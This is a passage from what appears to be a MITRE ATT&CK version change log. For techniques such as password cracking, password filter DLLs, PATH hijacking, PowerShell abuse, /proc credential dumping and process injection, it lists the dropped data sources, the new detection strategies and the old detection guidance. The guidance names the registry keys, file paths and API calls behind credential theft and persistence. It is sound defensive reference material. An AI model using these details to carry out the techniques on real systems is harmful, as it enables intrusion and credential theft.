x_mitre_data_sources	['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:43.927000+00:00	2025-10-24 17:48:59.861000+00:00
x_mitre_detection	Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)

[T1110.002] Brute Force: Password Cracking

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0105: Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:11.912000+00:00	2025-10-24 17:48:29.397000+00:00
x_mitre_detection	It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).

[T1556.002] Modify Authentication Process: Password Filter DLL

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0011: Module (Module Load)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0472: Detect Malicious Password Filter DLL Registration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:56:08.743000+00:00	2025-10-24 17:48:39.067000+00:00
x_mitre_detection	Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages`) and correlate then investigate the DLL files these files reference. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)

[T1110.001] Brute Force: Password Guessing

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0551: Password Guessing via Multi-Source Authentication Failure Correlation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:04.272000+00:00	2025-10-24 17:48:21.929000+00:00
x_mitre_detection	Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.

[T1555.005] Credentials from Password Stores: Password Managers

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0597: Detect Unauthorized Access to Password Managers

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Access', 'Process: OS API Execution', 'File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:56:22.300000+00:00	2025-10-24 17:48:36.347000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. Consider monitoring file reads surrounding known password manager applications.

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Don Le, Stifel Financial

[T1201] Password Policy Discovery

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Metadata)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0161: Password Policy Discovery – cross-platform behavior-chain analytics

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Metadata', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:00.168000+00:00	2025-10-24 17:49:15.781000+00:00
x_mitre_detection	Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.

[T1601.001] Modify System Image: Patch System Image

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0469: Detection Strategy for Patch System Image on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:09.178000+00:00	2025-10-24 17:49:26.083000+00:00
x_mitre_detection	Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification) Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

[T1574.007] Hijack Execution Flow: Path Interception by PATH Environment Variable

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0004: Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:05.096000+00:00	2025-10-24 17:48:22.736000+00:00
x_mitre_detection	Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1574.008] Hijack Execution Flow: Path Interception by Search Order Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0564: Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Modification', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:33.873000+00:00	2025-10-24 17:48:49.665000+00:00
x_mitre_detection	Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1574.009] Hijack Execution Flow: Path Interception by Unquoted Path

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0064: Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'File: File Creation', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:56:46.356000+00:00	2025-10-24 17:49:19.228000+00:00
x_mitre_detection	Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1120] Peripheral Device Discovery

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0491: Peripheral Device Enumeration via System Utilities and API Calls

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:22.038000+00:00	2025-10-24 17:48:37.563000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1069] Permission Groups Discovery

Current version: 2.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0036: Group (Group Enumeration)
DS0036: Group (Group Metadata)

New Detections (Detection Strategies -> Technique):

DET0179: Behavioral Detection of Permission Groups Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Group: Group Metadata', 'Command: Command Execution', 'Application Log: Application Log Content', 'Group: Group Enumeration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:56:59.585000+00:00	2025-10-24 17:48:26.378000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as `kubectl auth can-i`.(Citation: K8s Authorization Overview)

[T1566] Phishing

Current version: 2.7

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0070: Detection Strategy for Phishing across platforms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:55.739000+00:00	2025-10-24 17:49:11.351000+00:00
x_mitre_detection	Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.

[T1598] Phishing for Information

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0823: Detection of Phishing for Information

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:08.689000+00:00	2025-10-24 17:49:24.096000+00:00
x_mitre_detection	Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).

[T1647] Plist File Modification

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0109: Detection Strategy for Plist File Modification (T1647)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:57:13.867000+00:00	2025-10-24 17:49:00.573000+00:00
x_mitre_detection	Monitor for common command-line editors used to modify plist files located in auto-run locations, such as `\~/LaunchAgents`, `~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm`, and an application's `Info.plist`. Monitor for plist file modification immediately followed by code execution from `\~/Library/Scripts` and `~/Library/Preferences`. Also, monitor for significant changes to any path pointers in a modified plist. Identify new services executed from plist modified in the previous user's session.

[T1556.003] Modify Authentication Process: Pluggable Authentication Modules

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0454: Detect Malicious Modification of Pluggable Authentication Modules (PAM)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Logon Session: Logon Session Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:57:26.573000+00:00	2025-10-24 17:48:21.118000+00:00
x_mitre_detection	Monitor PAM configuration and module paths (ex: `/etc/pam.d/`) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

[T1205.001] Traffic Signaling: Port Knocking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0302: Port-knock → rule/daemon change → first successful connect (T1205.001)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:21.421000+00:00	2025-10-24 17:49:04.301000+00:00
x_mitre_detection	Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

[T1547.010] Boot or Logon Autostart Execution: Port Monitors

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0011: Module (Module Load)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0204: Detection Strategy for T1547.010 – Port Monitor DLL Persistence via spoolsv.exe (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:26.452000+00:00	2025-10-24 17:48:42.872000+00:00
x_mitre_detection	Monitor process API calls to `AddMonitor`.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. Monitor Registry writes to `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`, paying particular attention to changes in the "Driver" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)

[T1055.002] Process Injection: Portable Executable Injection

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Modification)

New Detections (Detection Strategies -> Technique):

DET0106: Behavioral Detection of PE Injection via Remote Memory Mapping

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Access', 'Process: OS API Execution', 'Process: Process Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:15.984000+00:00	2025-10-24 17:49:01.839000+00:00
x_mitre_detection	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `CreateRemoteThread` and those that can be used to modify memory within another process, such as `VirtualAllocEx`/`WriteProcessMemory`, may be used for this technique.(Citation: Elastic Process Injection July 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1653] Power Settings

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0417: Detection Strategy for Power Settings Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:18.299000+00:00	2025-10-24 17:49:33.435000+00:00
x_mitre_detection	Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment.

[T1059.001] Command and Scripting Interpreter: PowerShell

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0455: Abuse of PowerShell for Arbitrary Execution

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Script: Script Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Command: Command Execution', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:52.378000+00:00	2025-10-24 17:49:07.660000+00:00
x_mitre_detection	If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the `EngineVersion` field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the `HostName` field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)

[T1546.013] Event Triggered Execution: PowerShell Profile

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0451: Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:06.292000+00:00	2025-10-24 17:48:24.124000+00:00
x_mitre_detection	Locations where `profile.ps1` can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include: * `$PsHome\Profile.ps1` * `$PsHome\Microsoft.{HostProgram}_profile.ps1` * `$Home\\\[My ]Documents\PowerShell\Profile.ps1` * `$Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1` Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.

[T1542] Pre-OS Boot

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)
DS0009: Process (OS API Execution)
DS0016: Drive (Drive Modification)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0027: Driver (Driver Metadata)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0278: Detection Strategy for T1542 Pre-OS Boot

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Drive: Drive Modification', 'File: File Modification', 'Network Traffic: Network Connection Creation', 'File: File Creation', 'Process: OS API Execution', 'Driver: Driver Metadata', 'Command: Command Execution', 'Firmware: Firmware Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:45.876000+00:00	2025-10-24 17:49:01.466000+00:00
x_mitre_detection	Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)

[T1547.012] Boot or Logon Autostart Execution: Print Processors

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0011: Module (Module Load)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0026: Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Driver: Driver Load', 'Module: Module Load', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:17.860000+00:00	2025-10-24 17:48:35.261000+00:00
x_mitre_detection	Monitor process API calls to `AddPrintProcessor` and `GetPrintProcessorDirectory`. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to `HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver` or `HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver` as they pertain to print processor installations. Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.

[T1552.004] Unsecured Credentials: Private Keys

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0549: Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:35.201000+00:00	2025-10-24 17:48:50.819000+00:00
x_mitre_detection	Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.

[T1003.007] OS Credential Dumping: Proc Filesystem

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0593: Detecting OS Credential Dumping via /proc Filesystem Access on Linux

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:57:59.661000+00:00	2025-10-24 17:48:36.165000+00:00
x_mitre_detection	To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.

[T1055.009] Process Injection: Proc Memory

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0541: Detection Strategy for /proc Memory Injection on Linux

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:08.263000+00:00	2025-10-24 17:49:25.806000+00:00
x_mitre_detection	File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1564.010] Hide Artifacts: Process Argument Spoofing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)

New Detections (Detection Strategies -> Technique):

DET0045: Detection Strategy for Process Argument Spoofing on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:40.519000+00:00	2025-10-24 17:49:40.325000+00:00
x_mitre_detection	Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019) Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.

[T1057] Process Discovery

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0034: Detection of Adversarial Process Discovery Behavior

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:50.607000+00:00	2025-10-24 17:49:05.839000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.

[T1055.013] Process Injection: Process Doppelgänging

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0544: Detection Strategy for Process Doppelgänging on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:03.621000+00:00	2025-10-24 17:48:56.422000+00:00
